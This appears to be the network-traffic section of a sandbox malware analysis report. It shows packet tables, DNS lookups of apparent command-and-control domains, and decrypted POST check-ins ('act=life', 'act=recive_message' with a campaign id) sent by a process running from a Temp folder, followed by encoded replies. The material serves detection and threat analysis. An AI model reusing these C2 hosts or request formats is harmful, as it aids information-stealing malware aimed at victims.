Dec 27, 2024 10:12:24.122946024 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.129170895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.129193068 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.129246950 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.129256964 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.129306078 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.253705978 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.253737926 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.253792048 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.253801107 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.253834009 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.253849983 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.259623051 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.259646893 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.259699106 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.259706974 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.259732962 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.259747982 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.301752090 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.301789999 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.301846027 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.301860094 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.301887035 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.301906109 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.306129932 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.306205988 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.306216955 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.306250095 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.306278944 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.312148094 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.312169075 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.312242985 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.312253952 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.318072081 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.318099976 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.318149090 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.318166018 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.318190098 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.324058056 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.324079037 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.324146032 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.324160099 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.329647064 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.329668045 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.329742908 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.329761028 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.373454094 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.455578089 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.455591917 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.455666065 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.455707073 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.455715895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.455746889 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.455761909 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.461504936 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.461527109 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.461586952 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.461595058 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.461633921 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.461643934 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.511300087 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.511333942 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.511416912 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.511429071 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.511459112 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.511482000 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.517314911 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.517353058 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.517410994 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.517422915 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.517452002 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.517467976 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.522547960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.522569895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.522629976 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.522641897 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.522681952 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.528604031 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.528662920 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.528695107 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.528707981 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.528740883 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.528750896 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.534537077 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.534585953 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.534624100 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.534635067 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.534667969 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.534688950 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.540153980 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.540199995 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.540235996 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.540246964 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.540271997 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.540298939 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.657802105 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.657856941 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.657901049 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.657908916 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.657968044 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.663543940 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.663593054 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.663629055 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.663636923 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.663650036 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.666404963 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.666441917 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.666450024 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.666466951 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.666508913 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.666513920 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.666620970 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.667332888 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.677063942 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.677078962 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:24.677088022 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:24.677093029 CET	443	49763	104.21.74.235	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 10:10:59.721632004 CET	61102	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:10:59.961899042 CET	53	61102	1.1.1.1	192.168.2.4
Dec 27, 2024 10:11:40.689004898 CET	65523	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:11:40.996412992 CET	53	65523	1.1.1.1	192.168.2.4
Dec 27, 2024 10:12:03.586275101 CET	64558	53	192.168.2.4	1.1.1.1
Dec 27, 2024 10:12:03.889301062 CET	53	64558	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 10:10:59.721632004 CET	192.168.2.4	1.1.1.1	0xf022	Standard query (0)	cCOKcDhDNH.cCOKcDhDNH	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:11:40.689004898 CET	192.168.2.4	1.1.1.1	0x5d39	Standard query (0)	wetlivelky.click	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:12:03.586275101 CET	192.168.2.4	1.1.1.1	0xaafe	Standard query (0)	klipjarifaa.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 10:10:59.961899042 CET	1.1.1.1	192.168.2.4	0xf022	Name error (3)	cCOKcDhDNH.cCOKcDhDNH	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:11:40.996412992 CET	1.1.1.1	192.168.2.4	0x5d39	No error (0)	wetlivelky.click		104.21.25.41	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:11:40.996412992 CET	1.1.1.1	192.168.2.4	0x5d39	No error (0)	wetlivelky.click		172.67.222.171	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:12:03.889301062 CET	1.1.1.1	192.168.2.4	0xaafe	No error (0)	klipjarifaa.shop		104.21.74.235	A (IP address)	IN (0x0001)	false
Dec 27, 2024 10:12:03.889301062 CET	1.1.1.1	192.168.2.4	0xaafe	No error (0)	klipjarifaa.shop		172.67.164.160	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wetlivelky.click

klipjarifaa.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: wetlivelky.click
2024-12-27 09:11:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 09:11:43 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=scjvnbcn8a08cit0iijtq8gpl6; expires=Tue, 22 Apr 2025 02:58:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2tqwSri8FV4DNOgfW4tqHVAQd9Y%2BFEktxVqTIVObL68SvusG6oXUQ14OINf8kWTtqzM4kGNMYBFlZFyRk4Ijq9b03JnYQWZV9IqAx8cvCRtpsiRuBb3s5RC%2Fmo3V1e4F8oQb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882f4aec404267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1588&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1811414&cwnd=234&unsent_bytes=0&cid=b9f6ced7d2444324&ts=744&x=0"
2024-12-27 09:11:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 09:11:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	104.21.25.41	443	6636	C:\Users\user\AppData\Local\Temp\174436\Produces.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:11:44 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: wetlivelky.click
2024-12-27 09:11:44 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 58 47 44 52 2d 2d 4c 69 6c 6c 79 4c 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VXGDR--LillyL&j=
2024-12-27 09:11:45 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mnpc4l550o9ngpkqo2ftm1rt9q; expires=Tue, 22 Apr 2025 02:58:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IKITAdt89aTnVfExkKW81phhsyfz5N1syqyKSg9wGD62RPcnlpIvFFQ4LbWg6F2CeOJbcAW%2F7e3qKS1VfNTwYJqHz97Rmjy5C5vHawC%2BwSarP23jpdKenfImVzAcMB1BKX9m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f882f577ec772a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1799&rtt_var=676&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=947&delivery_rate=1615938&cwnd=212&unsent_bytes=0&cid=c5306b6e4fc79e6b&ts=804&x=0"
2024-12-27 09:11:45 UTC	250	IN	Data Raw: 63 34 34 0d 0a 51 43 4e 4b 44 4a 7a 37 6d 33 44 36 52 75 79 6e 64 72 77 70 5a 4a 79 51 2b 51 52 45 32 45 6e 75 6a 4b 63 48 4e 58 53 48 63 44 63 37 41 54 77 75 70 73 2b 33 55 6f 6b 6a 7a 70 30 43 7a 6c 77 42 73 4c 4b 59 59 47 62 69 4c 34 2f 67 31 47 49 5a 56 76 45 64 46 58 70 46 4b 32 44 76 6e 72 64 53 6e 7a 37 4f 6e 53 33 48 43 77 48 79 73 73 4d 6d 49 62 49 72 6a 2b 44 46 5a 6c 34 62 39 78 78 55 4b 45 38 74 5a 50 6d 59 2f 78 47 57 4b 34 6e 43 45 39 31 44 43 76 58 39 6b 57 6c 6d 39 47 75 4c 39 6f 55 39 46 7a 6e 69 42 46 59 4e 51 6a 6c 6e 76 6f 61 33 43 39 67 6a 67 6f 56 4d 6e 6b 67 42 2f 76 79 66 59 43 2b 77 49 59 62 6f 78 47 4e 66 42 4f 34 57 58 79 68 42 4c 6d 58 7a 6b 65 73 63 6e 43 79 43 78 42 6e 64 43 30 69 2b 39 59 4d 6d 66 76 70 34 76 Data Ascii: c44QCNKDJz7m3D6RuyndrwpZJyQ+QRE2EnujKcHNXSHcDc7ATwups+3Uokjzp0CzlwBsLKYYGbiL4/g1GIZVvEdFXpFK2DvnrdSnz7OnS3HCwHyssMmIbIrj+DFZl4b9xxUKE8tZPmY/xGWK4nCE91DCvX9kWlm9GuL9oU9FzniBFYNQjlnvoa3C9gjgoVMnkgB/vyfYC+wIYboxGNfBO4WXyhBLmXzkescnCyCxBndC0i+9YMmfvp4v
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 75 33 55 64 45 49 62 39 52 51 56 50 51 38 78 4c 76 6d 56 75 55 72 59 4c 49 4c 4c 45 64 31 45 41 66 2f 79 69 57 6b 6d 75 53 4f 45 36 73 39 71 57 42 6e 72 47 46 49 71 53 43 39 68 2b 5a 48 2f 48 5a 74 6b 77 49 55 54 78 67 74 65 76 74 4b 4c 5a 53 57 75 4a 70 32 75 32 69 74 4f 56 75 49 65 46 58 6f 42 4c 6d 44 2f 6c 50 6b 41 6b 43 2b 46 77 41 62 56 51 67 76 7a 38 70 5a 73 4b 62 6b 72 69 2b 54 50 61 6c 30 53 36 42 39 54 49 6b 46 6f 49 4c 36 65 34 56 4c 41 5a 4b 33 41 42 4e 6c 48 45 4c 7a 49 32 33 6c 6f 6f 32 75 4c 34 6f 55 39 46 78 37 67 45 56 59 70 54 69 74 6d 39 59 76 35 41 4a 34 70 69 39 63 53 32 30 55 4d 2f 65 43 52 61 43 43 35 49 6f 66 6e 77 47 4a 54 56 71 74 53 55 6a 6f 42 63 43 37 66 6c 50 49 65 6b 6a 4f 4f 68 51 75 51 55 6b 62 35 2f 74 73 2b 5a 72 34 71 Data Ascii: u3UdEIb9RQVPQ8xLvmVuUrYLILLEd1EAf/yiWkmuSOE6s9qWBnrGFIqSC9h+ZH/HZtkwIUTxgtevtKLZSWuJp2u2itOVuIeFXoBLmD/lPkAkC+FwAbVQgvz8pZsKbkri+TPal0S6B9TIkFoIL6e4VLAZK3ABNlHELzI23loo2uL4oU9Fx7gEVYpTitm9Yv5AJ4pi9cS20UM/eCRaCC5IofnwGJTVqtSUjoBcC7flPIekjOOhQuQUkb5/ts+Zr4q
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 56 51 44 71 56 4b 46 51 68 43 50 47 33 30 32 38 77 52 6c 69 71 4a 30 31 54 42 42 52 2b 2b 39 5a 63 6d 66 76 6f 6d 6a 65 62 44 64 31 67 62 35 68 78 62 4c 55 51 6e 5a 76 36 5a 39 42 65 63 4c 34 58 47 47 64 70 5a 44 50 37 36 6e 6d 63 73 73 47 76 43 72 73 4a 39 46 30 36 6c 49 30 49 70 41 78 31 74 38 4a 66 2b 42 4e 67 37 77 4e 78 55 32 55 64 47 70 72 4b 57 62 69 4f 2f 4a 49 33 6b 79 32 42 64 47 75 30 63 56 6a 42 4f 4c 47 37 79 6b 66 4d 66 6c 69 43 47 7a 42 2f 56 54 51 62 2f 2b 4e 73 6f 5a 72 30 7a 7a 4c 61 46 55 56 41 61 36 42 30 58 46 30 49 6d 59 50 6d 50 75 51 33 57 50 63 37 43 47 4a 34 54 52 76 4c 37 6d 32 30 73 76 69 75 4c 34 38 42 6d 55 42 58 6f 46 56 38 73 52 69 78 69 39 35 54 2f 45 70 38 67 69 39 63 52 31 30 63 4b 76 72 7a 62 59 54 37 36 63 38 7a 42 77 Data Ascii: VQDqVKFQhCPG3028wRliqJ01TBBR++9ZcmfvomjebDd1gb5hxbLUQnZv6Z9BecL4XGGdpZDP76nmcssGvCrsJ9F06lI0IpAx1t8Jf+BNg7wNxU2UdGprKWbiO/JI3ky2BdGu0cVjBOLG7ykfMfliCGzB/VTQb/+NsoZr0zzLaFUVAa6B0XF0ImYPmPuQ3WPc7CGJ4TRvL7m20sviuL48BmUBXoFV8sRixi95T/Ep8gi9cR10cKvrzbYT76c8zBw
2024-12-27 09:11:45 UTC	159	IN	Data Raw: 6c 47 31 77 77 54 79 5a 6e 38 35 2f 78 46 5a 59 70 68 63 4d 66 32 55 77 41 38 2f 71 57 59 79 57 37 4c 34 62 38 78 6d 35 64 47 2b 39 53 47 32 4a 47 4d 43 36 6d 32 64 34 65 73 54 53 56 31 77 4b 65 56 45 6a 6e 73 70 78 71 5a 75 4a 72 6a 2b 48 4d 61 6c 38 65 36 68 31 52 4c 45 63 75 59 2f 75 57 38 77 43 51 4b 6f 50 4f 47 39 56 5a 42 76 50 32 6c 32 49 75 73 53 48 4d 6f 49 56 69 54 31 61 39 55 6d 41 76 54 69 68 74 36 4e 6e 6d 58 49 46 6b 69 63 6c 55 68 67 73 4b 38 50 4b 55 0d 0a Data Ascii: lG1wwTyZn85/xFZYphcMf2UwA8/qWYyW7L4b8xm5dG+9SG2JGMC6m2d4esTSV1wKeVEjnspxqZuJrj+HMal8e6h1RLEcuY/uW8wCQKoPOG9VZBvP2l2IusSHMoIViT1a9UmAvTiht6NnmXIFkiclUhgsK8PKU
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 33 63 64 38 0d 0a 61 69 71 78 49 34 33 69 79 32 4a 53 48 2b 30 61 52 79 4e 46 49 47 2f 77 6c 76 67 57 6e 53 47 4b 77 68 44 59 52 45 61 77 73 70 78 2b 5a 75 4a 72 6f 38 6e 77 4a 33 59 73 70 51 30 62 4f 77 45 76 59 72 37 42 75 52 36 62 4b 49 62 4b 45 74 64 48 44 50 66 35 6c 32 30 69 74 69 4b 4a 36 4d 52 67 55 68 66 68 48 6c 38 6b 51 69 74 68 38 5a 62 78 55 74 5a 6b 69 64 31 55 68 67 73 6a 36 66 6d 56 59 47 61 6c 5a 5a 57 75 77 6d 6b 58 54 71 55 65 58 43 52 48 4c 57 4c 2f 6e 2f 45 58 6b 43 43 50 77 78 4c 64 52 41 4c 37 38 35 52 69 4b 72 51 68 6a 65 2f 4a 62 6c 67 64 34 46 49 62 59 6b 59 77 4c 71 62 5a 79 42 47 4f 4d 35 37 4a 56 4d 45 46 48 37 37 31 6c 79 5a 2b 2b 69 71 65 35 4d 39 72 55 68 6e 67 45 56 6f 6c 54 43 35 69 39 4a 44 78 46 4a 63 74 6e 4d 59 59 30 Data Ascii: 3cd8aiqxI43iy2JSH+0aRyNFIG/wlvgWnSGKwhDYREawspx+ZuJro8nwJ3YspQ0bOwEvYr7BuR6bKIbKEtdHDPf5l20itiKJ6MRgUhfhHl8kQith8ZbxUtZkid1Uhgsj6fmVYGalZZWuwmkXTqUeXCRHLWL/n/EXkCCPwxLdRAL785RiKrQhje/Jblgd4FIbYkYwLqbZyBGOM57JVMEFH771lyZ++iqe5M9rUhngEVolTC5i9JDxFJctnMYY0
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 2f 6d 33 51 70 76 53 79 46 35 64 64 76 55 42 48 75 47 6c 34 74 52 7a 70 69 38 49 76 38 41 49 70 6b 77 49 55 54 78 67 74 65 76 73 53 63 64 6a 61 35 61 62 33 34 78 6e 4e 63 47 2b 6c 53 53 6d 78 59 61 47 6e 79 32 61 46 53 6e 69 75 48 78 68 76 66 51 67 72 7a 39 35 4a 6a 4a 37 77 76 68 75 54 46 59 31 45 58 34 42 68 57 49 30 73 68 61 66 61 65 2b 67 44 59 61 73 37 43 44 4a 34 54 52 74 66 31 69 57 67 32 2b 6a 54 43 39 34 56 69 57 31 61 39 55 6c 45 6f 54 69 78 70 38 70 2f 38 46 4a 55 6c 67 63 51 55 30 55 38 4e 39 2f 53 61 61 79 4f 33 4c 35 37 6b 7a 6d 70 62 48 2b 6b 66 46 57 77 42 4c 33 61 2b 77 62 6b 6a 6c 53 71 41 77 67 4b 65 56 45 6a 6e 73 70 78 71 5a 75 4a 72 6a 65 4c 4b 5a 6c 67 56 35 68 4e 66 4d 46 4d 6b 5a 2f 61 63 39 52 6d 57 49 70 7a 44 47 39 64 49 42 66 Data Ascii: /m3QpvSyF5ddvUBHuGl4tRzpi8Iv8AIpkwIUTxgtevsScdja5ab34xnNcG+lSSmxYaGny2aFSniuHxhvfQgrz95JjJ7wvhuTFY1EX4BhWI0shafae+gDYas7CDJ4TRtf1iWg2+jTC94ViW1a9UlEoTixp8p/8FJUlgcQU0U8N9/SaayO3L57kzmpbH+kfFWwBL3a+wbkjlSqAwgKeVEjnspxqZuJrjeLKZlgV5hNfMFMkZ/ac9RmWIpzDG9dIBf
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 61 50 6f 36 69 2f 2b 46 50 55 45 47 38 68 56 4b 62 46 68 6f 61 66 4c 5a 6f 56 4b 65 4c 59 6a 43 45 74 42 5a 41 2f 6a 39 6c 47 38 76 76 69 4f 50 37 73 46 68 55 42 50 6d 48 6c 34 6c 51 69 64 71 39 35 66 77 48 64 68 71 7a 73 49 4d 6e 68 4e 47 33 2b 6d 59 61 69 76 36 4e 4d 4c 33 68 57 4a 62 56 72 31 53 57 53 78 45 4b 47 54 34 6e 66 77 55 6b 69 47 4f 7a 68 66 52 54 77 44 36 2f 5a 74 74 4c 37 73 74 69 65 54 4f 59 31 6f 56 34 78 51 56 62 41 45 76 64 72 37 42 75 54 4b 44 4b 59 4c 43 56 4d 45 46 48 37 37 31 6c 79 5a 2b 2b 69 43 41 36 73 4a 6c 57 68 58 74 46 31 45 6f 52 43 68 6d 37 4a 48 35 46 59 6f 32 6a 73 77 52 30 6b 67 47 2b 76 53 53 59 43 57 2b 61 38 4b 75 77 6e 30 58 54 71 55 2f 57 53 56 6f 4c 33 57 2b 68 72 63 4c 32 43 4f 43 68 55 79 65 53 67 33 30 2f 5a 5a Data Ascii: aPo6i/+FPUEG8hVKbFhoafLZoVKeLYjCEtBZA/j9lG8vviOP7sFhUBPmHl4lQidq95fwHdhqzsIMnhNG3+mYaiv6NML3hWJbVr1SWSxEKGT4nfwUkiGOzhfRTwD6/ZttL7stieTOY1oV4xQVbAEvdr7BuTKDKYLCVMEFH771lyZ++iCA6sJlWhXtF1EoRChm7JH5FYo2jswR0kgG+vSSYCW+a8Kuwn0XTqU/WSVoL3W+hrcL2COChUyeSg30/ZZ
2024-12-27 09:11:45 UTC	1369	IN	Data Raw: 34 32 75 6e 56 78 4f 56 76 4e 53 44 58 41 50 61 48 79 2b 77 62 6c 56 6d 7a 61 63 77 78 66 49 53 45 48 41 7a 4c 78 77 4c 4c 30 37 69 2f 6e 4b 4a 52 6c 57 36 6c 49 4e 47 77 45 68 61 65 57 49 37 78 2b 49 49 38 37 36 57 70 35 54 52 71 61 79 72 6d 55 6f 74 43 79 61 2f 34 68 43 51 52 7a 69 41 6c 49 31 54 6d 67 67 76 70 2b 35 53 73 74 71 7a 73 45 46 6e 68 4e 57 72 4b 6e 4f 4e 58 48 71 65 5a 4f 67 33 43 56 42 56 72 31 41 47 32 4a 54 61 44 61 2b 33 76 6f 41 69 69 4b 4e 30 78 65 5a 64 54 6a 5a 36 4a 5a 67 4d 61 73 56 73 75 6e 66 61 46 45 42 39 46 35 41 49 55 38 6d 61 65 6a 5a 74 31 4b 58 5a 4e 62 38 56 4a 59 4c 4f 62 43 79 67 79 5a 2b 2b 68 36 50 34 4d 74 69 51 51 65 6f 4e 55 38 76 52 7a 39 2f 76 74 65 35 46 4e 68 38 33 6f 74 55 32 6c 70 47 70 71 4c 4a 50 58 50 70 Data Ascii: 